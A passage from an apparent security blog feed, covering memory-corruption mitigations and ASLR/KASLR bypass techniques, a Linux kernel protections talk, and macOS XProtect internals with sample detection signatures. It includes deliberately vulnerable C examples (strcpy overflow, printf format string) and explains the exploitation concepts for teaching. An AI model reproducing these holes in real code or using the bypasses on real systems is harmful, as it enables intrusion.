style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(buffer);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">scanf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Enter username: %d\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;username);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>In the above program, there exists an overflow in the <em>username </em>variable, which provides attackers with the opportunity to inject shellcode into the username data and subsequently execute it. However, the presence of Address Space Layout Randomization (ASLR) should ideally make it difficult to guess the address of the shellcode. Nevertheless, the program also exhibits a format string vulnerability due to the utilization of <em><code>printf(buffer)</code></em>, which, if correctly formatted (e.g., by passing <code><em>%p%p%p..</em>.</code> as the input on the first prompt), will disclose the address of the <em>username </em>buffer. Upon receiving these leaked addresses, an attacker can modify the payload in the second prompt in order to successfully redirect the return address to the shellcode. This entire configuration renders the randomization of the stack meaningless.</p><p>On similar ground, Address leak is a major culprit of KASLR bypasses in kernel space in windows and linux.</p><p><strong>Heap spraying to bypass ASLR</strong></p><p>The idea behind this technique is to make multiple addresses lead to the shellcode by filling the memory of the application with lots of copies of it, which will lead to its execution with a very high probability. The main problem here is guaranteeing that these addresses point to the start of it and not to the middle. This can be achieved by having a huge amount of nop bytes (called NOP slide, NOP sled, or NOP ramp), or any instructions that don&apos;t have any major effect, such as <em><code>xor ecx, ecx</code></em>:</p><p>During exploitation of a security issue, the application code can often be made to read an address from an arbitrary location in memory. This address is then used by the code as the address of a function to execute. If the exploit can force the application to read this address from the sprayed heap, it can control the flow of execution when the code uses that address as a function pointer and redirects it to the sprayed heap. If the exploit succeeds in redirecting control flow to the sprayed heap, the bytes there will be executed, allowing the exploit to perform whatever actions the attacker wants. The whole concept will work even on the presence of ASLR.</p><p><strong>Using Sidechannel to break ASLR</strong></p><p>There are multiple researchers published since 2016 that focus on bypassing ASLR or guessing target address space using sidechannel attacks. One such research named &#x201C;Jump over ASLR&#x201D; published in 2016, uses BTB buffer to bypass ASLR randomization in userspace or kernel space. Below is few key points from the research.</p><p>This new attack can recover all random bits of the kernel addresses and reduce the entropy of user-level randomization by using side-channel information from the Branch Target Buffer (BTB). The key insight that makes the new BTB-based side-channel possible is that the BTB collisions between two user-level processes, and between a user process and the kernel, can be created by the attacker in a controlled and robust manner. The collisions can be easily detected by the attacker because they impact the timing of the attacker-controlled code. Identifying the BTB collisions allows the attacker to determine the exact locations of known branch instructions in the code segment of the kernel or of the victim process, thus disclosing the ASLR offset.</p><p>The attacks exploit two types of collisions in the BTB. The first collision type, exploited to bypass KASLR, is between a user-level branch and a kernel-level branch - they call it cross- domain collisions, or CDC. CDC occurs because these two branches, located at different virtual addresses, can map to the same entry in the BTB with the same target address. The reason is that the BTB addressing schemes in recent processors ignore the upper-order bits of the address, thus trading off some performance for lower design complexity. The second type of BTB collisions is between two user-level branches that belong to two different applications. They call these collisions same-domain collisions, or SDC. SDCs are used to attack user-level ASLR, allowing one process to identify the ASLR offset used in another. An SDC occurs when two branches, one in each process, have the same virtual address and the same target.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/1KcwdxkzU8Q9uy-4BrKLXhzL40NkdBFn_PuQcw3tGfDVp_NQ7XT1AK6hXPmsOxNUmIM6ax6W0D4XS4vZswZTT2L_JeHVqe6U_i9J6Gwlo6N7q3j4clHT8ppa4_OWLVuhYkKTar7Vdg_4h0LuKi6YkHY" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="579" height="254"></figure><p>You can read more detail about the research here: <a href="https://www.cs.ucr.edu/~nael/pubs/micro16.pdf?ref=nixhacker.com">https://www.cs.ucr.edu/~nael/pubs/micro16.pdf</a></p><p><strong>Blindside Attack</strong></p><p>Blindside attack discovered by few researchers from Stevens Institute of Technology in New Jersey, ETH Zurich, and the Vrije University in Amsterdam. in 2020 (2 years after Specter, Meltdown surfaced) &#xA0;used Speculative execution modern processor feature to Bypass KASLR. The goal of blindside research was to make KASLR brute forcing (probing) more significant and faster.</p><p>When performing probing to bypass KASLR, the non crash resistance nature of linux kernel makes KASLR probing mere a concept. Using speculative execution processor feature for crash suppression allows the elevation of basic memory write vulnerabilities into powerful speculative probing primitives that leak through microarchitectural side effects. Such primitives can repeatedly probe victim memory and break strong randomization schemes without crashes and bypass all deployed mitigations against Spectre like attacks. The key idea behind speculative probing is to break Spectre mitigations using memory corruption and resurrect Spectre style disclosure primitives to mount practical blind software exploits. This became possible since crashes and the probe execution in general are suppressed on speculative paths. You can read about the research here <a href="https://download.vusec.net/papers/blindside_ccs20.pdf?ref=nixhacker.com">https://download.vusec.net/papers/blindside_ccs20.pdf</a></p><p><br></p><p><strong>KASLR information leak mitigation &#x2013; kptr_restrict and dmesg_restrict</strong></p><p>Kaslr was implemented into the Linux kernel in the year 2006. Since its implementation, various methods have been developed to circumvent kaslr, thereby introducing vulnerabilities into the Linux kernel. These bypasses primarily occur due to the presence of information leaks. These leaks can manifest as either pointer leaks, such as leaks of pointers to structs or heap/stack areas, or content leaks. Illustrative examples of associated CVEs include <em>CVE-2019-10639</em> (Remote kernel pointer leak), <em>CVE-2017- 14954</em>.</p><p>To minimize the impact of address leak linux kernel has added features <em>kptr_restrict </em>and <em>dmesg_restrict</em>.</p><p><em><strong>ptr_restrict </strong></em>- This indicates whether restrictions are placed on exposing kernel addresses via <code>/proc</code> and other interfaces. When <em>kptr_restrict </em>is set to (1), kernel pointers printed using the <em><code>%pK</code></em> format specifier will be replaced with 0&#x2019;s unless the user has <em>CAP_SYSLOG</em>.</p><p><em><strong>dmesg_restrict </strong></em>- This indicates whether unprivileged users are prevented from using dmesg to view messages from the kernel&apos;s log buffer. When <em>dmesg_restrict </em>is set, users must have <em>CAP_SYSLOG </em>to use dmesg.</p><p><br></p><p><strong>The FGKASLR &#x2013; Fine gained KASLR</strong></p><p>Added in linux kernel in 2020, FGKASLR is a replacement of existing KASLR in linux to improve KASLR capability against code reuse attack. Here are few details about FGKASLR from their commit detail:</p><p>KASLR was merged into the kernel with the objective of increasing the difficulty of code reuse attacks. Code reuse attacks reused existing code snippets to get around existing memory protections. They exploit software bugs which expose addresses of useful code snippets to control the flow of execution for their own nefarious purposes. KASLR moves the entire kernel code text as a unit at boot time in order to make addresses less predictable. The order of the code within the segment is unchanged - only the base address is shifted. There are a few shortcomings to this algorithm.</p><p>1. Low Entropy - there are only so many locations the kernel can fit in. This means an attacker could guess without too much trouble.</p><p>2. Knowledge of a single address can reveal the offset of the base address, exposing all other locations for a published/known kernel image.</p><p>3. Info leaks abound.</p><p>Finer grained ASLR has been proposed as a way to make ASLR more resistant to info leaks. It is not a new concept at all, and there are many variations possible. Function reordering is an implementation of finer grained ASLR which randomizes the layout of an address space on a function level granularity.</p><p>That&apos;s all about first generation mitigations. We will go through the second generation in next section.</p>]]></content:encoded></item><item><title><![CDATA[Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 1]]></title><description><![CDATA[Arbitrary Code execution due to memory corruption is there since the years and still a major thing. Over the year, new protective measures have been introduced periodically to mitigate these attacks.This article series is a technical dive into the evaluation of these memory corruption mitigations.]]></description><link>http://nixhacker.com/nostalgic-memory-part-1/</link><guid isPermaLink="false">656265c612c6400b44499dc4</guid><category><![CDATA[Exploit Development]]></category><category><![CDATA[Security]]></category><category><![CDATA[Analysis]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Windows OS]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Sat, 06 Jan 2024 20:32:13 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2024/01/pasted_image_0.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2024/01/pasted_image_0.jpg" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 1"><p>Arbitrary Code execution due to memory corruption is not new. It&#x2019;s been there since forever(to be more precise, probably since the 1980s) &#xA0;and still a major thing. For instance,70 percent of all security issues addressed in Microsoft products are caused by violations of memory safety. Similar proportion holds true for linux. &#xA0;However, a lot has changed over the years. The conventional attacks and exploits that were prevalent a decade ago no longer hold the same significance. Simultaneously, new protective measures have been introduced periodically to mitigate these attacks, but have also inadvertently led to the discovery of novel attack techniques to circumvent these mitigations. For a diligent security researcher or application developer, It&#x2019;s hard to follow this ongoing cat and mouse race. While certain protective measures are widely recognized, there are many others that are not well-known yet possess intriguing narratives or implementation details. This realization has inspired me to document all these protections that I have encountered or become aware of throughout my years of study, and to ponder why I had not been acquainted with them earlier.</p><p>Document version for the series can be found here: <a href="https://github.com/shubham0d/memory-corruption-mitigations?ref=nixhacker.com">https://github.com/shubham0d/memory-corruption-mitigations</a></p><h2 id="how-it-all-started-the-chaos">How it all started (The chaos)</h2><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/z1wFLCKFji9pu4zF3dqfrwSnjwhRstZvmJoel-18_2Wp3c8BDDdUtJeq42rOEsGbKzGWuqE7wuIDwfug5PxKP5q2w42azv69mXxRs6mzt0KAW5tC47JW-VbZbG77kq6a2LO4W1BgWi75uv-0VhlK8DA" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 1" loading="lazy" width="624" height="305"></figure><p>The initial instance of memory corruption was discovered in 1988 where Morris worm found to be exploiting the fingerd Unix application. This particular incident used a buffer overflow vulnerability, that leads to code execution. Subsequently, the awareness of memory corruption spread throughout the security community as a result of the publication of &quot;Smashing the stack for fun and profit&quot; in the 49th edition of Phrack in 1996. Prior to this publication, buffer overflows were acknowledged but not widely attended to. However, since then, researchers, regardless been red or blue, have begun to prioritize this issue. Consequently, memory corruption has wreaked chaos within the security community.</p><h2 id="the-first-order-the-introduction-of-memory-corruptions">THE FIRST ORDER: The introduction of memory corruptions</h2><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/rmjpgWLdnqBWafI9l0BUNrnjSEk2pbgLjc-IdT_ZV9v58ua8bEsfexnHwzp2OQet8_nzWUkbKTrbj4vuCQqTXbfRjjnMlvPCGsKTynfnXnIyQl_zZonnXYNzjLbsh7XWIwV-6l732p5Gfso8scDJDqM" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 1" loading="lazy" width="624" height="416"></figure><p>Let&apos;s look at a traditional case of buffer overflow that will help to understand what makes memory corruption vulnerability and how code execution happens due to memory corruption.</p><pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

int main(int argc, char **argv[])
{
        char password[64];
        strcpy(password, argv[1]);
        if (strcmp(password, &quot;secret&quot;) == 0) {
                printf(&quot;Sucessfully login\n&quot;); }
        else{
                printf(&quot;Password doesn&apos;t match. Unanble to login.\n&quot;); }
        return 0;
}</code></pre><p>The above program presents a clear-cut problem of copying data into a stack buffer without specifying the number of bytes that should be copied. This vulnerability can enable malicious input to execute arbitrary shellcodes by modifying the return address to point it to the shellcode stored in the stack buffer, which will be passed as part of the password buffer. This can be better understood using below illustration:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/2z6iVDF6EDWzL7XBNfM5Nx8VTAgVgxxYSBZHh9abnswoLk6Tbx198l6KZVWQ6rhpg5hLw158Dg1joxJZVAyYwAnko4icus_cjBU5W-xutYBhIHmtUGot3x1bgTc6DMUcjU6EEtSB7HAGDZJDqBef7J8" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 1" loading="lazy" width="499" height="171"></figure><p>Similar type of issue can occur in heap as well, where an overflow can cause arbitrary read/write primitives due to control of modification of heap chunk header. Although heap contain more complex issues than the above mentioned like use after free, double free that mostly occurred due to bad implementation of heap allocator.</p><p><br></p><p>This series is not about digging into memory safety issues, but here are the common types of cases you will see that are related to memory:</p><ul><li>Uninitialized memory</li><li>Reading/ Writing freed memory (Use after free)</li><li>Illegal read/write or Out of bound read/write</li><li>Null pointer dereferences</li><li>Function pointer modifications</li><li>Memory leaks (usually not treated as security vulnerability)</li></ul><p>Besides above there are certain bugs that cause memory corruptions like integer overflows, heap allocator implementation issues etc. Our work is not focusing on these bugs rather on the actual corruptions(main exploitation scenario).</p><h2 id="the-third-order-categorizing-the-work">The third order: Categorizing the work</h2><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/5ttrzfP9kXef9NoPvW_jwEFoHAjsLr7QZTVcbo9B8BCtJKn2Ts0tgnWuVAS5xjLcRsD23eekQ34t94XiHrwsn1L5E0dNIgWrUyBcdSVvYuMxNEsKImIvNGGawzXom46jJOPs4iQZqs0ODdY1UBCD39Q" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 1" loading="lazy" width="624" height="424"></figure><p>I decided to categorize the mitigations that have been introduced over the years into three general groups:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/Lo859Gks5nuCz7LKnW_LmwMx0w1svREc8B1cKXR4eJYE4405kKrdseSrPA2e45yR94GUUvcrc97mgCrVPHIVuVYBM2CmaYqgtSswnCVWbSiv8ZMUy60t_emOrhgf1iqUp71bTlnB_Kfd4Dq0SfOe44o" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 1" loading="lazy" width="624" height="223"></figure><p>Let&#x2019;s quickly try to understand what each categories meant:</p><h3 id="first-generation-mitigations">First generation mitigations:</h3><p>These are the techniques that are mostly introduced in early years of protecting memory corruption issues until around 2010. Due to their long-standing presence, they have reached a state of predominantly being stable or deprecated, with no subsequent advancements taking place in these areas.</p><h3 id="second-generation-mitigations">Second Generation mitigations:</h3><p>Second generation mitigations are mostly introduced after 2010 and are focused on filling up the gaps that 1st gen mitigations left or for cases where 1st gen mitigations are bypassed. Most of the techniques mentioned here are introduced in different platforms in the last 5 years, hence are still under development or constant improvements.</p><h3 id="memory-detection-tools">Memory detection tools:</h3><p>This category is different then above two but serves the common objective of detecting memory errors. This contains mostly tools (techniques in some cases) that are introduced by different vendors to detect memory error conditions during the testing or development stages, and are not intended for deployment in production environments.</p><p>Let us examine each part individually in the following three upcoming sections.</p><p>Section 1: <a href="http://nixhacker.com/nostalgic-memory-part-2/">https://nixhacker.com/nostalgic-memory-part-2/</a></p><p>Section 2: <a href="http://nixhacker.com/nostalgic-memory-part-3/">https://nixhacker.com/nostalgic-memory-part-3/</a></p><p>Section 3: <a href="http://nixhacker.com/nostalgic-memory-part-4/">https://nixhacker.com/nostalgic-memory-part-4/</a></p>]]></content:encoded></item><item><title><![CDATA[Summary of linux kernel security protections and associated attacks]]></title><description><![CDATA[Linux kernel goes through rapid changes frequently. Unlike other platforms, Linux security features are not advertised enough and are limited to mail threads. Since Linux is getting more popular, it's important to be aware about protections it provides against sophisticated attacks targeting kernel.]]></description><link>http://nixhacker.com/summary-of-linux-kernel-security-protections/</link><guid isPermaLink="false">63b096b7ba93f615aa87795d</guid><category><![CDATA[Linux]]></category><category><![CDATA[Rootkits]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Sat, 31 Dec 2022 20:37:25 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2022/12/kim-cella-bodyguards.gif" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2022/12/kim-cella-bodyguards.gif" alt="Summary of linux kernel security protections and associated attacks"><p>The user base of linux has increased exponentially in last few decades. As a byproduct, researchers and threat actors has started investing more time on finding issues in linux kernel. To keep up with the offensive work, the linux gurus have introduced many self protections across years to make it safe against different attacks. This generally helps malicious processes to compromise the linux kernel or escalate privilege of them. </p><p>In AVAR 2022, I have present about these security protection techniques present in linux kernel to give linux users and security professional idea on where linux kernel stands in terms of security. Since unlike Windows and MacOS, linux kernel features are not advertised enough plus the kernel goes through such rapid changes, it&apos;s very difficult to keep track of what things are there and what not. This motivates me to go for such research. The work is results of examining hundreds of commits merged on linux over years, so that there should be some content on internet that keep track of all the efforts linux developers did to protect the linux kernel. PS: Hopefully I will keep updating the content.</p><p></p><p></p><!--kg-card-begin: html--><iframe src="https://www.slideshare.net/slideshow/embed_code/key/NhblybgOeMnMyg?hostedIn=slideshare&amp;page=upload" width="476" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Uncovering the security protections in MAC - XProtect and MRT]]></title><description><![CDATA[In the second part of the series I will discuss on XProtect and MRT working and limitations for both the setups. This will give you an idea how robust Macos default malware detection solution is.]]></description><link>http://nixhacker.com/security-protection-in-macos-2/</link><guid isPermaLink="false">63adf451ba93f615aa877796</guid><category><![CDATA[MacOS Security]]></category><category><![CDATA[Analysis]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Mon, 21 Feb 2022 19:38:59 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2022/02/mac-malware-proxy-setting.png" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2022/02/mac-malware-proxy-setting.png" alt="Uncovering the security protections in MAC - XProtect and MRT"><p></p><p></p><h2 id="xprotect">XProtect</h2><p>Xprotect is a signature based malware detection solution available in MacOS, that scan for malicious content when a bundle or individual binary is executed. XProtect checks for known malicious content whenever:</p><!--kg-card-begin: markdown--><ul>
<li>
<p>An App is first launched</p>
</li>
<li>
<p>An app has been changed (in the file system)</p>
</li>
<li>
<p>XProtect signatures are updated</p>
</li>
</ul>
<!--kg-card-end: markdown--><p>But in recent MacOS, &#xA0;it checks the executable code of every app and command tool whenever it&#x2019;s run, regardless of whether it&apos;s quarantine flag is set. The main XProtect related data is present in a loadable bundle located at <code>/Library/Apple/System/Library/CoreServices/XProtect.bundle</code>. We will discuss the bundle&apos;s structure later, let&apos;s first talk about how XProtect works.</p><ul><li>When a new process is started with launchd(by double-clicking the app) or from terminal, the LaunchServices send and xpc message to <code>CoreServicesUIAgent</code> which handles the UI aspects of application loading. </li><li><code>CoreServicesUIAgent</code> than call a &#xA0;xpc service <code>XprotectService.xpc</code> which is part of XProtectFramework located at <code>/System/Library/PrivateFrameworks/XprotectFramework.framework</code>. &#xA0;</li><li>The xprotect service scan for the malicious content in main executable and return the classification of the executable from this list in a parameter named <code>XprotectMalwareType</code> and send the information back to <code>CoreServicesUIAgent</code>. </li><li>Xprotect tags the file with value <code>XprotectMalwareType</code> even if the file is clean and signed. Based on the information received from xprotect, <code>coreservicesuiagent</code> &#xA0;creates an alert for user and move the application to Bin. The alert message looks like this (may differ based on the <code>XProtectMalwareType</code> received from xprotect):</li></ul><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/09-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p></p><h3 id="xprotect-components">XProtect Components</h3><p>Apple haven&apos;t open sourced any component of xprotect. Most of the content specific to xprotect is present in <code>xprotect.bundle</code> which is located at path mentioned above. The content in <code>xprotect.bundle</code> is updated periodically by Apple. You can check the version of xprotect content by using the following command.</p><pre><code>$ system_profiler SPInstallHistoryDataType | grep -A 5 &quot;XProtectPlistConfigData&quot;</code></pre><p>Now let&apos;s look inside <code>xprotect.bundle</code>. The bundle has the following resources inside it:</p><!--kg-card-begin: markdown--><ul>
<li>gk.db</li>
<li>LegacyEntitlementAllowlist.plist</li>
<li>XProtect.plist</li>
<li>XProtect.meta.plist</li>
<li>XProtect.yara</li>
</ul>
<!--kg-card-end: markdown--><p><strong>gk.db </strong></p><p>It is again a sqlite db file with following tables:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-09-at-12.36.20-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>table <em><strong>blocked_hashes</strong> </em>has following format:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-09-at-12.38.33-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>By default there are only 3 entries in this table. Let&apos;s check what each column means:</p><p><strong>hash</strong>: cdhash of the executable</p><p><strong>hash_type</strong>: cdhash type. Apple has updated code signing method in the past. Based on that cdhash differ. Older one has hash_type <code>1</code> and newer has <code>2</code>.</p><p><strong>flags</strong>: unknown</p><p>From name you can guess that these entries will be used to block executable having the above cdhash.</p><p>table <em><strong>blocked_teams</strong></em> has the following format:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-09-at-12.50.16-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>There are total 132 entries in this file at the time of writing this post. This table is used to block malicious executable based on developer id. These developer IDs are associated with developer accounts, which apple has found to be used for shipping malware like Bundlore, Adload or UpdateAgent. It is my speculation that Apple is developing this list based on cdhashes it received for notarization check (<a href="https://lapcatsoftware.com/articles/catalina-executables.html?ref=nixhacker.com">link</a>) since most of the team ids doesn&apos;t associate with any sample in VirusTotal.</p><p>table <em><strong>settings</strong></em> has field called <em>schema_version</em> which is set to 3.</p><p>You may think why this database file is named gk.db (gatekepper.db). The reason behind it is that this db is not called by xprotect but rather by gatekeeper(syspolicyd to be more specific) for blacklisting applications. </p><p>When you execute an application having cdhash or dev id &#xA0;present in above blacklist, you will see the following alert:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-09-at-1.32.09-AM.jpg" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>Addition to this, this db is only queried when is application/executable is started with launch services (through double-clicking). An executable running from command line is safe from the blacklists in this db.</p><p><strong>XProtect.yara</strong></p><p>This is the core selling point for XProtect. This file contains yara rules associated with almost all famous malware families like Bundlore, HiddentLotus, Dok, Adload etc. &#xA0;There are almost 160 rules while writing this post. Most of the rule names are in obscure format like <code>MACOS.b70290c</code> . </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-09-at-1.49.51-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>When you try to execute a macho file having yara signature here, you will get following alert from <code>CoreServicesUIAgent</code>:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-09-at-1.53.23-AM.jpg" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>When you click on &quot;Move to Bin&quot; button, <code>CoreServicesUIAgent</code> move the file to bin and add a deletion log in plist format inside <code>Users/&lt;Username&gt;/Library/Logs/DiagnosticReports/XProtect_XXX-Mac.diag</code> file with &#xA0;yara rule name that has been matched.</p><pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;
&lt;plist version=&quot;1.0&quot;&gt;
&lt;array&gt;
	&lt;dict&gt;
		&lt;key&gt;UserAction&lt;/key&gt;
		&lt;string&gt;trash&lt;/string&gt;
		&lt;key&gt;XProtectSignatureName&lt;/key&gt;
		&lt;string&gt;MACOS.8f20223&lt;/string&gt;
	&lt;/dict&gt;
&lt;/array&gt;
&lt;/plist&gt;</code></pre><p>If the detection is on an application bundle <code>CoreServicesUIAgent</code> will show the following alert:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-09-at-2.22.56-AM.jpg" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>In above alert box you will see the detection name as an extra field. This will happen since MacOS has verified the developer id in gk.db blacklist before checking XProtect.yara, hence it is more certain about the executable to be malicious. </p><p><strong>XProtect.plist</strong></p><p>XProtect.plist is a highly powerful and feature rich plist file, used to blacklist content present in form of application bundle or any other possible UTI like compressed files, scripts execution, java application, microsoft docs etc. This property list file have multiple entries in dictionary format. A typical entry looks like below:</p><pre><code>	&lt;dict&gt;
		&lt;key&gt;Description&lt;/key&gt;
		&lt;string&gt;OSX.ParticleSmasher.A&lt;/string&gt;
		&lt;key&gt;LaunchServices&lt;/key&gt;
		&lt;dict&gt;
			&lt;key&gt;LSItemContentType&lt;/key&gt;
			&lt;string&gt;com.apple.application-bundle&lt;/string&gt;
		&lt;/dict&gt;
		&lt;key&gt;Matches&lt;/key&gt;
		&lt;array&gt;
			&lt;dict&gt;
				&lt;key&gt;MatchFile&lt;/key&gt;
				&lt;dict&gt;
					&lt;key&gt;NSURLTypeIdentifierKey&lt;/key&gt;
					&lt;string&gt;public.unix-executable&lt;/string&gt;
				&lt;/dict&gt;
				&lt;key&gt;MatchType&lt;/key&gt;
				&lt;string&gt;Match&lt;/string&gt;
				&lt;key&gt;Pattern&lt;/key&gt;
				&lt;string&gt;636F756C646E2774206F70656E2074686520646200&lt;/string&gt;
			&lt;/dict&gt;
			&lt;dict&gt;
				&lt;key&gt;MatchFile&lt;/key&gt;
				&lt;dict&gt;
					&lt;key&gt;NSURLTypeIdentifierKey&lt;/key&gt;
					&lt;string&gt;public.unix-executable&lt;/string&gt;
				&lt;/dict&gt;
				&lt;key&gt;MatchType&lt;/key&gt;
				&lt;string&gt;Match&lt;/string&gt;
				&lt;key&gt;Pattern&lt;/key&gt;
				&lt;string&gt;25402F46495245464F585F25402E7A697000&lt;/string&gt;
			&lt;/dict&gt;
			&lt;dict&gt;
				&lt;key&gt;MatchFile&lt;/key&gt;
				&lt;dict&gt;
					&lt;key&gt;NSURLTypeIdentifierKey&lt;/key&gt;
					&lt;string&gt;com.apple.applescript.script&lt;/string&gt;
				&lt;/dict&gt;
				&lt;key&gt;MatchType&lt;/key&gt;
				&lt;string&gt;Match&lt;/string&gt;
				&lt;key&gt;Pattern&lt;/key&gt;
				&lt;string&gt;46617364554153&lt;/string&gt;
			&lt;/dict&gt;
			
			&lt;/dict&gt;
		&lt;/array&gt;
	&lt;/dict&gt;</code></pre><p>There are total 94 signature currently. Let&apos;s go through each key to understand the usage clearly:</p><p><strong>Description</strong>: This key holds the malware name. Most signatures are for infamous threats in MacOS like Bundlore, Aceinstaller, CoinMiner etc.</p><p><strong>LauchServices</strong>: This key defines on what URI type the following signature should trigger. </p><p>A typical launchservices key looks like this:</p><pre><code>&lt;key&gt;LaunchServices&lt;/key&gt;
		&lt;dict&gt;
			&lt;key&gt;LSItemContentType&lt;/key&gt;
			&lt;string&gt;com.apple.application-bundle&lt;/string&gt;
		&lt;/dict&gt;</code></pre><p><em>LSItemContentType</em> set to the value in content type seen by launchservice that should trigger the signature. Current signatures have the following <em>LSItemContentType</em>:</p><!--kg-card-begin: markdown--><ul>
